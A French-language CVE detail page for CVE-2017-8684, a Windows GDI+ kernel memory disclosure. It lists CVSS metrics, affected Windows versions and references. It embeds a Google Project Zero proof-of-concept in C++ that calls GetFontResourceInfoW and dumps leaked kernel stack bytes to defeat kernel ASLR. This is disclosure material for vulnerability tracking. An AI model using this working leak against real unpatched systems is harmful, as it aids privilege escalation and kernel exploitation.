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CVE-2017-8684 : Détail

CVE-2017-8684

5.5
/
MEDIUM
A01-Broken Access Control
0.21%V3
Local
2017-09-11 22:00 +00:00
2017-09-20 07:57 +00:00
CVE.org
NVD

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Gestion des alertes

Descriptions

Windows GDI+ on Microsoft Windows Server 2008 SP2 and R2 SP1, Windows 7 SP1, Windows 8.1, Windows Server 2012 Gold and R2, and Windows RT 8.1, allows information disclosure by the way it discloses kernel memory addresses, aka "Windows GDI+ Information Disclosure Vulnerability". This CVE ID is unique from CVE-2017-8685 and CVE-2017-8688.

Informations

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Metrics

Metric Score Sévérité CVSS Vecteur Source
V3.0 5.5 MEDIUM CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file.

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker is authorized with (i.e. requires) privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges may have the ability to cause an impact only to non-sensitive resources.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 [email protected]
V2 2.1 AV:L/AC:L/Au:N/C:P/I:N/A:N [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

EPSS Score

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

EPSS Percentile

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42747

Date de publication : 2017-09-17 22:00 +00:00
Auteur : Google Security Research
EDB Vérifié : Yes

/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1275 We have discovered that the nt!NtGdiGetFontResourceInfoInternalW system call discloses portions of uninitialized kernel stack memory to user-mode clients. This is caused by the fact that for user-specified output buffer sizes up to 0x5c, a temporary stack-based buffer is used by the syscall for optimization. As opposed to the pool allocation, the stack memory area is not pre-initialized with zeros, and when it is copied back to user-mode in its entirety, its contents disclose leftover kernel stack bytes containing potentially sensitive information. The vulnerability is fixed in Windows 10, which has the following memset() call at the beginning of the function: --- cut --- .text:0025F9E6 push 5Ch ; size_t .text:0025F9E8 push ebx ; int .text:0025F9E9 lea eax, [ebp+var_118] .text:0025F9EF push eax ; void * .text:0025F9F0 call _memset --- cut --- This indicates that Microsoft is aware of the bug but didn't backport the fix to systems earlier than Windows 10. The issue was in fact discovered by cross-diffing the list of memset calls between Windows 7 and Windows 10, which illustrates how easy it is to use exclusive patches for one system version to attack another. The attached proof-of-concept program demonstrates the disclosure. An example output is as follows: --- cut --- 00000000: 00 00 00 00 a9 fb c2 82 02 00 00 00 19 00 00 00 ................ 00000010: 00 00 00 00 46 69 6c 65 a8 6f 06 89 46 69 6c 65 ....File.o..File 00000020: c8 00 00 00 ff 07 00 00 00 00 00 00 00 30 06 89 .............0.. 00000030: 00 08 00 00 46 02 00 00 68 72 b8 93 d0 71 b8 93 ....F...hr...q.. 00000040: a8 71 b8 93 00 8b 2e 9a 98 a8 a2 82 68 8b 2e 9a .q..........h... 00000050: fa a8 a2 82 a8 71 b8 93 46 69 6c e5 ?? ?? ?? ?? .....q..Fil..... --- cut --- Only the first four bytes of the data are properly initialized to 0x00, while the rest are visibly leaked from the kernel stack and contain a multitude of kernel-space addresses, readily facilitating exploitation of other memory corruption vulnerabilities. The bug is limited to leaking at most ~0x5c bytes at a time, as specifying a larger size will provoke a correctly padded pool allocation instead of the stack-based buffer. Repeatedly triggering the vulnerability could allow local authenticated attackers to defeat certain exploit mitigations (kernel ASLR) or read other secrets stored in the kernel address space. */ #include <Windows.h> #include <cstdio> // Undocumented definitions for the gdi32!GetFontResourceInfoW function. typedef BOOL(WINAPI *PGFRI)(LPCWSTR, LPDWORD, LPVOID, DWORD); VOID PrintHex(PBYTE Data, ULONG dwBytes) { for (ULONG i = 0; i < dwBytes; i += 16) { printf("%.8x: ", i); for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes) { printf("%.2x ", Data[i + j]); } else { printf("?? "); } } for (ULONG j = 0; j < 16; j++) { if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) { printf("%c", Data[i + j]); } else { printf("."); } } printf("\n"); } } int main() { // Resolve the GDI32!GetFontResourceInfoW symbol. HINSTANCE hGdi32 = LoadLibrary(L"gdi32.dll"); PGFRI GetFontResourceInfo = (PGFRI)GetProcAddress(hGdi32, "GetFontResourceInfoW"); // Trigger the vulnerability and dump kernel stack output. The code assumes that Windows is // installed on partition C:\ and the C:\Windows\Fonts\arial.ttf font is present on disk. BYTE OutputBuffer[0x5c] = { /* zero padding */ }; DWORD OutputSize = sizeof(OutputBuffer); if (!GetFontResourceInfo(L"C:\\Windows\\Fonts\\arial.ttf", &OutputSize, OutputBuffer, 5)) { printf("GetFontResourceInfo failed.\n"); return 1; } PrintHex(OutputBuffer, sizeof(OutputBuffer)); return 0; }

Products Mentioned

Configuraton 0

Microsoft>>Windows_7 >> Version -

Microsoft>>Windows_8.1 >> Version -

Microsoft>>Windows_rt_8.1 >> Version -

Microsoft>>Windows_server_2008 >> Version -

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2008 >> Version r2

Microsoft>>Windows_server_2012 >> Version -

Microsoft>>Windows_server_2012 >> Version r2

References

http://www.securityfocus.com/bid/100782
Tags : vdb-entry, x_refsource_BID
http://www.securitytracker.com/id/1039338
Tags : vdb-entry, x_refsource_SECTRACK
https://www.exploit-db.com/exploits/42747/
Tags : exploit, x_refsource_EXPLOIT-DB

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